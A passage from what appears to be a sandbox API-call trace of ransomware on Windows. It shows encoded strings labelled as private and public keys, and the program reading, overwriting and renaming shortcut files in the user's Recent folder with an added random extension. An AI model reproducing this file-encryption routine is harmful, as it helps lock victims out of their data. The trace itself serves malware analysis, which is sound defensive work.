lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.608] GetCurrentThreadId () returned 0xa30 [0084.608] GetCurrentThreadId () returned 0xa30 [0084.609] GetCurrentThreadId () returned 0xa30 [0084.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.609] GetCurrentThreadId () returned 0xa30 [0084.609] GetCurrentThreadId () returned 0xa30 [0084.609] GetCurrentThreadId () returned 0xa30 [0084.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xkl0bf1xtdxhz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.610] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.610] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.610] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x401 [0084.610] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.610] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x401, lpOverlapped=0x0) returned 1 [0084.612] CloseHandle (hObject=0x124) returned 1 [0084.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xkl0bf1xtdxhz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.614] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x401, lpOverlapped=0x0) returned 1 [0084.616] CloseHandle (hObject=0x124) returned 1 [0084.617] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xkl0bf1xtdxhz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xkl0bf1xtdxhz.lnk.zv7un")) returned 1 [0084.619] GetCurrentThreadId () returned 0xa30 [0084.619] GetCurrentThreadId () returned 0xa30 [0084.619] GetCurrentThreadId () returned 0xa30 [0084.619] GetCurrentThreadId () returned 0xa30 [0084.619] GetCurrentThreadId () returned 0xa30 [0084.619] GetCurrentThreadId () returned 0xa30 [0084.637] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a1e660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a1e660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1a1e660, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xxHQGFPyd0BOtwqaWoa8.ots.lnk", cAlternateFileName="XXHQGF~1.LNK")) returned 1 [0084.637] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.637] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.638] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xxhqgfpyd0botwqawoa8.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a1e660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a1e660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1a1e660, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x46e)) returned 1 [0084.638] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xxhqgfpyd0botwqawoa8.ots.lnk")) returned 0x20 [0084.638] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk", dwFileAttributes=0x80) returned 1 [0084.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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